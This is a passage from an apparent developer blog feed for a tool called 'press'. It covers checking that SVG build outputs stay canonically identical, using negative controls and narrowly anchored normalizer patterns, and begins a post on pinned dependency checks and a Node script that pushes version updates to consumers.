&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    raw_same &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a.read_bytes() &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b.read_bytes()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ca, cb &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; canonicalize(a.read_text()), canonicalize(b.read_text())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;raw bytes identical:        &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;raw_same&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;canonical form identical:   &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ca &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cb&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ca &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cb:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; la, lb &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; zip&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ca.splitlines(), cb.splitlines()):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; la &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lb:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;                print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;  - &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;la.strip()&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;                print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;  + &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;lb.strip()&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    raise&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; SystemExit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ca &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cb &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note what &lt;code&gt;VOLATILE_LINE&lt;/code&gt; matches: one named field, anchored, with a known shape. It is not &lt;code&gt;.*&lt;/code&gt; over the payload. The narrower that pattern, the more of the artifact your comparison is still actually checking.&lt;/p&gt;
&lt;h2&gt;Run it&lt;/h2&gt;
&lt;p&gt;Build the same input twice and compare:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; tokens.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{ &quot;paper&quot;: &quot;#F5F0E6&quot;, &quot;ink&quot;: &quot;#181510&quot;, &quot;accent&quot;: &quot;#E8501F&quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; build.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; before.svg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; build.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; after.svg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; canonicalize.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; before.svg&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; after.svg&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;built before.svg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;built after.svg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;raw bytes identical:        False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;canonical form identical:   True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Identical inputs, different bytes, and a canonical form that matches. That’s the whole mechanism, and on its own it is worth nothing, because a normalizer that deleted the payload outright would print exactly the same thing.&lt;/p&gt;
&lt;h2&gt;Prove the check can still fail&lt;/h2&gt;
&lt;p&gt;Two controls, and you want both. The first changes something outside the payload:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; tokens.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{ &quot;paper&quot;: &quot;#F5F0E6&quot;, &quot;ink&quot;: &quot;#181510&quot;, &quot;accent&quot;: &quot;#FF6B35&quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; build.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; after.svg&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; /dev/null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; canonicalize.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; before.svg&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; after.svg&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;raw bytes identical:        False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;canonical form identical:   False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - .rule { stroke: #E8501F; stroke-width: 3; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  + .rule { stroke: #FF6B35; stroke-width: 3; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second is the one people skip, and it’s the one that matters: change the payload’s &lt;em&gt;own&lt;/em&gt; content and confirm the fingerprint notices.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; tokens.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{ &quot;paper&quot;: &quot;#F5F0E6&quot;, &quot;ink&quot;: &quot;#181510&quot;, &quot;accent&quot;: &quot;#E8501F&quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sed&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;s/GLYPHS = &quot;ABCDEF/GLYPHS = &quot;BCDEF/&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; build.py&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;   # GNU sed: drop the &apos;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; build.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; after.svg&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; /dev/null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; canonicalize.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; before.svg&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; after.svg&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;raw bytes identical:        False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;canonical form identical:   False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - @font-face { font-family: Tile; src: url(data:font/woff2;base64,&amp;#x3C;payload sha256:b807596b4028f1e9&gt;); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  + @font-face { font-family: Tile; src: url(data:font/woff2;base64,&amp;#x3C;payload sha256:f4022b0d776b5c12&gt;); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dropping one glyph from the subset moved the fingerprint. Had the normalizer elided the payload instead of fingerprinting it, this run would have reported a clean match, and you’d have shipped a font missing a character with a green check behind you. Run this control every time you add a normalization rule, because each rule is a new place the check can go blind.&lt;/p&gt;
&lt;p&gt;With those two passing, “canonical form identical” across a migration means something: press could then state that 7 of 7 SVGs and the generated README were unchanged, and have that be a measurement rather than a hope.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A normalizer is a hole in your gate until you test it.&lt;/strong&gt; Every pattern you add to make diffs quieter also makes some real change invisible, and the failure is silent by construction: a normalizer that hides too much produces exactly the output you were hoping for. Symptom: the comparison passes on a migration that actually broke something, and nothing anywhere reports an error. The escape is a mandatory negative control per rule, as above: change the thing the rule is supposed to still be watching, and require the comparison to fail. If you can’t construct a change that makes it fail, the rule is too broad.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Match the volatile field, not the volatile region.&lt;/strong&gt; The lazy pattern is a wildcard across the whole blob, because it’s one line and it works immediately. Symptom: the comparison keeps passing as more and more of the artifact drifts out from under it, and you find out when a rendered page looks wrong. The escape is to anchor on the specific named field with its known shape, so anything else appearing inside that payload still counts. &lt;code&gt;^SUBSET-TAG:[0-9A-F]+$&lt;/code&gt; and &lt;code&gt;.*&lt;/code&gt; both silence the reruns; only one of them still checks the glyphs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not every migration can be verified the same way.&lt;/strong&gt; press verified three consumers three different ways in adjacent releases: byte-identical rendered pages for one that goes through headless Chrome, identical embedded faces measured per engine for one that goes through WeasyPrint, and this canonical comparison for the SVG tiles. Symptom: you pick one verification style, apply it everywhere, and it silently degrades to a formality on the consumers it doesn’t suit. The escape is to ask what the artifact is actually made of before deciding what “identical” should mean for it.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://reproducible-builds.org/docs/definition/&quot;&gt;Reproducible Builds: definition&lt;/a&gt; — what byte-for-byte reproducibility requires, and why most builds don’t have it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reproducible-builds.org/docs/deterministic-build-systems/&quot;&gt;Reproducible Builds: deterministic build systems&lt;/a&gt; — the common sources of per-run variation, including timestamps and embedded build metadata&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mankier.com/1/pdffonts&quot;&gt;&lt;code&gt;pdffonts(1)&lt;/code&gt; man page&lt;/a&gt; — where the per-run subset prefix shows up in a real embedded font&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press): python-consts + font_files, and the last copy is gone (0.5.0) (#125) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/78cdef99a8d86cca6323a03f056a25b446be7610&quot;&gt;78cdef9&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.5.0.png" length="32479" type="image/png"/></item><item><title>Green CI, two releases behind</title><link>https://natejswenson.com/devlog/press/v0.4.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.4.0/</guid><description>A pinned dependency check proves a consumer is intact. It can never prove the consumer is current, because it passes forever against the version it was pinned to. Push freshness from the source instead of waiting for each repo to notice.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;press 0.4.0 added &lt;code&gt;propagate&lt;/code&gt;, which re-emits every generated region in a consumer’s checkout, bumps the version it finds pinned in that repo’s CI, and reports what actually moved. A workflow turns that into a pull request in each consumer whose bytes changed. The gap it closed was concrete: one consumer sat two releases behind the shared brand with entirely green CI, because its check was pinned to the version it had adopted and passed forever against exactly that.&lt;/p&gt;
&lt;p&gt;The pin is not the mistake. Consumers pin an exact version deliberately, since a mutable reference in a repo that auto-deploys to production is a supply-chain hole, and a reproducible check is the only kind worth gating a merge on. The mistake is expecting one mechanism to answer two questions. This guide builds the second one.&lt;/p&gt;
&lt;h2&gt;Two questions a pinned check cannot both answer&lt;/h2&gt;
&lt;p&gt;Write them down separately, because the whole design falls out of the distinction:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Integrity.&lt;/strong&gt; Does this region match the version this repo adopted? Answered inside the consumer, against a pinned version, on every PR. This is what a drift check is for, and pinning is what makes it reproducible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Freshness.&lt;/strong&gt; Has this repo adopted the &lt;em&gt;current&lt;/em&gt; release? A pinned check structurally cannot answer this. It compares the consumer against the version named in its own config, so a repo pinned at 0.2.0 reports a clean run for as long as it stays at 0.2.0, no matter how far the source of truth has moved.&lt;/p&gt;
&lt;p&gt;This trade is not a surprise to anyone who has thought about pinning. The OpenSSF Scorecard’s &lt;a href=&quot;https://github.com/ossf/scorecard/blob/main/docs/checks.md&quot;&gt;Pinned-Dependencies check&lt;/a&gt; argues for pinning because it “can help mitigate compromised dependencies from undermining the security of the project”, and in the same breath concedes that “pinning dependencies can inhibit software updates”, recommending you employ “automated notification tools when dependencies become outdated” to compensate. The propagator below is that compensating half, written by the producer instead of bolted onto each consumer.&lt;/p&gt;
&lt;p&gt;Since the consumer can’t answer the second question without giving up the property that makes the first one useful, the source of truth answers it instead and pushes the result out. That’s the same shape &lt;a href=&quot;https://docs.github.com/en/code-security/concepts/supply-chain-security/dependabot-version-updates&quot;&gt;Dependabot&lt;/a&gt; uses from the other direction: “When Dependabot identifies an outdated dependency, it raises a pull request to update the manifest to the latest version of the dependency.” The difference is who holds the knowledge. Dependabot watches a registry on the consumer’s behalf; here the producer already knows it changed and fans that out, which also lets it tell a &lt;em&gt;rendered&lt;/em&gt; change apart from a version bump nobody would see.&lt;/p&gt;
&lt;p&gt;Two rules keep that from turning into noise, and they are the whole reason this is worth writing rather than just running the emitter everywhere:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content decides, not the version receipt.&lt;/strong&gt; A region written by 0.1.0 that is still byte-correct today is current. A pull request for it changes nothing anyone can see.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A stale pin alone is not “behind”.&lt;/strong&gt; It alters no shipped artifact, so bump it quietly and never open a pull request just for it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Build the propagator&lt;/h2&gt;
&lt;p&gt;Everything here is Node’s standard library. Save it as &lt;code&gt;propagate.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Two different questions, and conflating them is what leaves a consumer stale:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   INTEGRITY  &quot;does this region match the version this repo adopted?&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *              Answered inside the consumer, against a PINNED version.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   FRESHNESS  &quot;has this repo adopted the CURRENT release?&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *              Answered here, by running the newest release against its&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *              checkout. A pinned check can never answer it: it passes forever&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *              against the version it was pinned to.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, writeFileSync, readdirSync, existsSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { join } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; PIN_RE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /(@acme\/brand@)(\d+\.\d+\.\d+)/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitBody&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (tokens) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
